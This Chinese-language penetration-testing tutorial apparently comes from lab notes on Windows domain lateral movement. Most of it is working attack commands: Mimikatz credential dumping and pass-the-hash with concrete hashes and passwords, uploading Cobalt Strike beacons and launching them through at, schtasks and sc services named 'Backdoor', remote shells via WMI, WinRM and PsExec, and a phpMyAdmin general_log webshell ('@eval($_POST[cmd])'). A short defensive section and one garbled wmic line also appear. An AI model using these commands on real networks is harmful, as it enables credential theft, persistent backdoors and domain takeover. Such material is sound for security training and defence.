[TOC]
横向移动
在内⽹渗透中,当攻击者获取到内⽹某台机器的控制权后,会以被攻陷的主机为跳板,通过收集域内凭 证等各种⽅法,访问域内其他机器,进⼀步扩⼤资产范围。
注:如果⽬标机器开启了防⽕墙,拦截了相关端⼝则⽆法使⽤。做实验时,可以关闭防⽕墙和关闭clash tun模式。
哈希与令牌
哈希介绍
⽤户密码经过 单向加密(如 NTLM/MD4、Kerberos AES)后的固定⻓度字符串,⽆法逆向还原明⽂密码。
常⻅类型:
LM Hash(已淘汰): aad3b435b51404eeaad3b435b51404ee (空密码占位符)。
NTLM Hash:如 31d6cfe0d16ae931b73c59d7e0c089c0 (空密码)。
Kerberos Keys:AES-256、RC4-HMAC(⽤于 Kerberos 票据)。
令牌介绍
⽤户登录后,系统⽣成的临时访问凭证,包含⽤户的 身份(SID)、权限(Privileges)、会话信息。
常⻅类型:
主令牌(Primary Token):⽤户交互式登录(如RDP)时⽣成。
模拟令牌(Impersonation Token):⾮交互式进程(如服务)临时借⽤⽤户权限。
哈希与令牌的关系
明⽂密码 --> 加密 --> NTLM/Kerberos Hash --> 登录认证 --> 登录会话 --> 生成 --> Token
- ⽤户输⼊密码 → 系统计算哈希 → 与 SAM/NTDS 中的哈希⽐对。
- 认证通过后 → 系统创建登录会话 → ⽣成令牌。
- 令牌附加到⽤户进程(如 explorer.exe )→ 控制权限。
攻击中的协同利用
从哈希到令牌
通过 sekurlsa::pth(Mimikatz)⽣成新令牌:
mimikatz sekurlsa::pth /user:Admin /domain:corp.com /ntlm:8a963... /run:cmd.exe
效果:⽣成⼀个 Net-Only 令牌,仅⽤于⽹络认证(如访问SMB)。
从令牌到哈希
通过 sekurlsa::logonpasswords(Mimikatz)从内存抓取:
mimikatz privilege::debug
mimikatz sekurlsa::logonpasswords
限制:需 DEBUG 权限且 LSASS 未被保护。
防御对抗
-
防护哈希泄露
启⽤ LSA Protection(防⽌ LSASS 内存读取)。
禁⽤ NTLM,强制使⽤ Kerberos。
监控 Event ID 4688(可疑进程访问 LSASS)。 -
防护令牌滥⽤
限制 管理员登录(减少⾼权限令牌在内存中的存在)。 启⽤ Protected Users 组(阻⽌令牌缓存)。 监控 Event ID 4674(特权操作如 SeDebugPrivilege )。
内置工具
IPC 横向
IPC (Internet Process Connection) 共享命名管道的资源,是为了实现进程间通信⽽开放的命名管道。 IPC 可以通过验证⽤户名和密码获得相应的权限,使⽤139、445(主要) 端⼝。
利⽤条件:
-
⽬标机开启了139或445端⼝(用
netstat -na命令) -
⽬标主机管理员开启了 ipc$ 默认共享
-
知道⽬标机的账户密码
IPC连接常⻅命令(木马步骤参考 cs反向连接木马主机 )
# 建⽴IPC连接命令:
net use \\192.168.52.138\ipc$ "password" /user:"Administrator"
# 查看连接是否建⽴:
net use
# 上传⽂件
copy C:\Users\Administrator\Desktop\beacon_x64.exe \\192.168.52.138\c$\windows\temp\beacon_x64.exe
# 下载⽂件
copy \\192.168.52.138\c$\59.exe c:\
# 查看⽬标主机时间
net time \\192.168.52.138
# 断开连接
net use \\x.x.x.x\ipc$ /del
net use * /del /y
建⽴ IPC 失败的原因:
- 对⽅没有打开 IPC$共享
- 对⽅未开启 139、445 端⼝,或者被防⽕墙屏蔽
- 输出命令、账号密码有错误
建⽴ IPC 常⻅的错误代码:
5:拒绝访问,可能是使⽤的⽤户不是管理员权限,需要先提升权限
51:⽹络问题,Windows ⽆法找到⽹络路径
53:找不到⽹络路径,可能是 IP 地址错误、⽬标未开机、⽬标 Lanmanserver 服务未启动、有
防⽕墙等问题
67:找不到⽹络名,本地 Lanmanworkstation 服务未启动,⽬标删除 ipc$
1219:提供的凭据和已存在的凭据集冲突,说明已建⽴ IPC$,需要先删除
1326:账号密码错误
1792:⽬标 NetLogon 服务未启动,连接域控常常会出现此情况
2242:⽤户密码过期,⽬标有账号策略,强制定期更改密码
at命令(计划任务-低版本)
AT命令可在指定时间和⽇期、在指定计算机上运⾏命令和程序。建⽴ IPC 连接后可以使⽤计划任务 执⾏⽊⻢上线。添加计划任务时,最好查看下⽬标时间
# 拷⻉⽊⻢
copy c:\Windows\Temp\beacon_x64.exe \\192.168.52.138\c$\Windows\Temp
# 查看远程主机时间:
net time \\192.168.52.138
# AT命令添加任务:
at \\192.168.52.138 19:08 c:\windows\temp\beacon_x64.exe
# AT命令删除任务:
at \\192.168.52.138 1 /delete
# AT命令查看任务:
at \\192.168.52.138
# 查看at任务列表,已经执⾏了的,不会显示。
schtasks(计划任务-高版本)
由于 AT 在 windows server 2012 等新版系统中已被弃⽤,所以需要使⽤ schtasks 命令代替。在使⽤schtasks命令时,会在系统中留下⽇志⽂件C:\Windows\Tasks\SchedLgU.txt。
命令格式
#创建任务
schtasks /create /tn task1 /U 域\域⽤户 /P 域⽤户密码/tr 命令/sc ONSTART /s 域机器ip /RU system
#运⾏任务
schtasks /run /tn task1 /s 192.168.10.2 /U 域/域⽤户/P 域⽤户密码
#删除任务
schtasks /F /delete /tn task1 /s 域机器ip /U 域\域⽤户/p 域⽤户密码
更多请参考:blog.csdn.net/qq_39680564…
利⽤schtasks上线cs333
# 后⻔程序已经通过ipc上传到⽬标服务器上C:\Windows\Temp\beacon_x64.exe
schtasks /Create /U GOD\liukaifeng01 /P 13420203684Aa. /S 192.168.52.138 /TN Backdoor /SC minute /MO 1 /TR C:\Windows\Temp\beacon_x64.exe /RU System /F
# ⽴即运⾏计划任务
schtasks /RUN /S 192.168.52.138 /I /TN Backdoor
# 删除计划任务
schtasks /Delete /S 192.168.52.138 /TN Backdoor /F
sc(系统服务)
创建远程服务需要拥有两端主机的管理员权限(要创建服务)和IPC连接,具体操作:
- 利⽤已建⽴的共享连接向远程主机上传攻击载荷reverse_tcp.exe
- 利⽤已建⽴的IPC连接在远程主机上创建系统服务shell
# binpath的等号后⾯需要有⼀个空格
sc \\192.168.52.138 create Backdoor binpath= "cmd.exe /c C:\Windows\Temp\beacon_x64.exe"
#sc启动指定服务
sc \\192.168.52.138 start Backdoor
#sc停⽌指定服务
sc \\192.168.52.138 stop Backdoor
sc \\192.168.52.138 delete Backdoor
WMI 横向
WMI (Windows Mannagement Instrumentation)全称 “windows 管理规范”,从 win2003 开始⼀直存在。它原本的作⽤是⽅便管理员对windows 主机进⾏管理。
使⽤ wmic 远程执⾏命令,在远程系统中启动 Windows Mannagement Instrumentation 服务(⽬标服务器需要开放135 端⼝,wmic 会以管理员权限在远程系统中执⾏命令)
Windows操作系统默认不会将WMI的操作记录到⽇志当中,⽽且因为采⽤的是⽆⽂件攻击,所以导致WMI具有极⾼的隐蔽性。
WMI服务开启,端⼝135,默认开启
防⽕墙允许135、445等端⼝通信
知道⽬标机的账户密码或者hash
wmic
⽆需上传第三⽅软件,利⽤系统内置程序,单命令执⾏,执⾏后⽆结果回显
wmic /node:192.168.52.138 /user:administrator /password:xxxxx process call create"cmd.exe /c ipconfig>C:\Windows\Temp\beacon_x64.exe"
WinRM 横向
WinRM 代表 Windows 远程管理,是⼀种允许管理员远程执⾏系统管理任务的服务。默认情况下⽀持Kerberos 和 NTLM 身份验证以及基本身份验证。
利⽤条件:
1、在win 2012之后(包括win 2012)的版本是默认开启的,win 2012之前利⽤需要⼿动开启winRM。
2、防⽕墙对5986、5985端⼝开放。
CMD 执⾏:
winrs -r:192.168.52.10 -u:192.168.52.10\⽤户名 -p:xxxxx "ipconfig"
获取交互式shell
winrs -r:192.168.52.10 -u:192.168.52.10\⽤户名 -p:xxxxx cmd
外置工具
Cobaltstrike
cs提供了⽐较完善的横向移动功能,结合其他外部⼯具可以快速横向移动。注意建⽴监听器的时候,⼀定要使⽤存活的会话,以前会话建⽴的监听器⽆法成功,如果开启了clash tun模式也会影响实验结果,记得关闭tun模式。
凭证获取:
hashdump
logonpasswords
空密码: 31d6cfe0d16ae931b73c59d7e0c089c0 是NTLM的空密码哈希。 LM被禁⽤: aad3b435b51404eeaad3b435b51404ee 是LM哈希的占位符。 NTLM哈希⾮空且不等于 31d6c... → 可⽤于PtH或破解。 LM哈希为固定值 aad3b... → ⽆利⽤价值。
扫描存活主机:
查看⽬标列表:
横向移动:
GOD 是标准的 NetBIOS 域名,在横向移动中兼容性更好
wmiexec-Pro
新⼀代 wmiexec.py,更多新功能,整个作只适⽤于端⼝135(不需要smb连接),⽤于横向移动中的AV规避(Windows Defender、⽕融、360)
在win虚拟机中的python版本是3.10.3,运⾏⼯具会出错误。上传压缩包并解压后在kali下可以正常执⾏,可以借助隧道进⼊内⽹
安装方式:
pip install -r requirements.txt --break-system-packages
# 格式
python3 wmiexec-pro.py [[domain/]username[:password]@]<targetName or address> module -h
# 启动交互式shell
python3 wmiexec-pro.py god/administrator:hongrisec@2025@192.168.184.140 exec-command -shell
用隧道穿透内网进行横向移动:
proxychains python3 wmiexec-pro.py god/administrator:password@192.168.52.138 exec-command -shell
GoExec
Goexec 对业界常⽤的现有解决⽅案(如 Impacket 远程执⾏脚本( atexec.py , dcomexec.py , psexec.py, smbexec.py , 和 wmiexec.py ).)进⾏了⼤量的补充和改进
使⽤goexec⼯具的WMI 模块,参考goexec⽂档。在命令⾏中注意使⽤双引号,否则会出错
goexec.exe wmi proc 192.168.184.140 -u god\administrator -p hongrisec@2025 -e "cmd.exe" -a "/C net user" -o-
用 proxifier 代理 goexec 进入内网:
- 打开 cs 的 socks5代理
- 配置代理服务器和规则
- 用goexec连接
Psexec
PsExec是⼀种轻巧的telnet替代品,可让您在其他系统上执⾏进程,并为控制台应⽤程序提供完整的交互性,⽽⽆需⼿动安装客户端软件。
⽬标机建⽴ipc连接后会释放⼆进制⽂件psexecsvc.exe到⽬标机中,然后在跳板机上通过执⾏运⾏Psexec,会为⽬标机远程创建⼀个PsExec服务并启动,接下来攻击者只需在跳板机上利⽤PsExec的远程命令构造⼀个交互shell即可实现横向移动。
psexec下载地址: docs.microsoft.com/zh-cn/sysin…
利⽤条件:
1、对⽅主机开启了admin$ 共享,如果关闭了admin$ 共享,会提示:找不到⽹络名
2、对⽅未开启防⽕墙
3、如果是⼯作组环境,则必须使⽤administrator ⽤户连接(因为要在⽬标主机上⾯创建并启动服务),使⽤其他账号(包括管理员组中的⾮administrator⽤户)登录都会提示访问拒绝访问。
4、如果是域环境,即可⽤普通域⽤户连接也可以⽤域管理员⽤户连接。连接普通域主机可以⽤普通域⽤户,连接域控只能⽤域管理员账户。
psexec(微软官⽅)
PsExec64.exe \\192.168.52.136 -u <username> -p <password> -s cmd
psexec(impacket ⼯具)
python psexec.py -hashes :36ec9d73422e1bf53b84fdb16a8e4198 ./qaxnb@192.168.52.136
PTH-哈希传递
PTH,即 Pass The Hash,通过找到与账号相关的密码散列值(通常是NTLM Hash) 来进⾏攻击。在域环境中,⽤户登录计算机时使⽤的⼤都是域账号,⼤量计算机在安装时会使⽤相同的本地管理员账号和密码。因此,如果计算机的本地管理员账号和密码也是相同的,攻击者就可以使⽤哈希传递的⽅法登录到内⽹主机的其他计算机。
利⽤条件:
1、在⼯作组环境中:
Windows Vista 之前的机器,可以使⽤本地管理员组内⽤户进⾏攻击。
Windows Vista 之后的机器,只能是administrator⽤户的哈希值才能进⾏哈希传递攻击,其他⽤户(包括管理员⽤户但是⾮administrator)也不能使⽤哈希传递攻击,会提示拒绝访问
2、在域环境中:
只能是域管理员组内⽤户(可以是域管理员组内⾮administrator⽤户)的哈希值才能进⾏哈希传递攻击,攻击成功后,可以访问域内任何⼀台机器
如果要⽤普通域管理员账号进⾏哈希传递攻击,则需要修改修改⽬标机器的LocalAccountTokenFilterPolicy为1
kerberos::hash /password:hongrisec@2026 /user:Administrator /domain:god.org
GoExec
多种⼯具都⽀持pth认证⽅式,参考⼯具⽂档即可,例如:
goexec.exe wmi proc 192.168.153.160 -u god\administrator -H 794adae2ad271e3a7bba23288c7d4702 -e "cmd.exe" -a "/C net user" -o-
wmiexec-Pro
当我们获得了内⽹中⼀台主机的 NTLM 哈希值,我们可以利⽤ mimikatz 对这个主机进⾏哈希传递攻击
mimikatz.exe "privilege::debug" "sekurlsa::pth /user:administrator /domain:192.168.153.160 /ntlm:794adae2ad271e3a7bba23288c7d4702"
内网综合渗透实验
信息收集
namp扫描
dirsearch目录探测
goby扫描
扫出来ms17-010永恒之蓝漏洞
7kbscan
在选择字典处找到目录探测字典
最后找到网站备份文件
GetShell
弱口令爆破出phpmyadmin密码为root
发现绝对路径:
登陆后台发现sql注入失败
采用日志getshell
-
查看相关参数
SHOW VARIABLES LIKE '%general%';
-
开启日志查询,设置日志文件路径
SET GLOBAL general_log = ON; SET GLOBAL general_log_file = 'C:/phpStudy/WWW/11.php' # 路径名要是/,不然会被当成转义字符删掉 -
执行 SQL 代码写入日志
SELECT '<?php @eval($_POST[cmd]);?>'; #注意分号不能是中文的 -
关闭日志
SET GLOBAL general_log = 'OFF'; # 不关闭日志,会导致shell越来越卡
- 用蚁剑连接
获取beacon(肉机)
用网站备份泄露进行web攻击
- 访问网站下载文件
- 从data文件找到密码哈希
3. 发现是yxcms结构,可以在网上找到已存在的弱口令漏洞
上传木马上线肉机
- 上传免杀工具
- 生成.bin文件木马并上传
3. 运行工具,上线肉机
权限维持
启动项后门
- 生成无 Staged木马
- 上传文件并复制路径
- 执行命令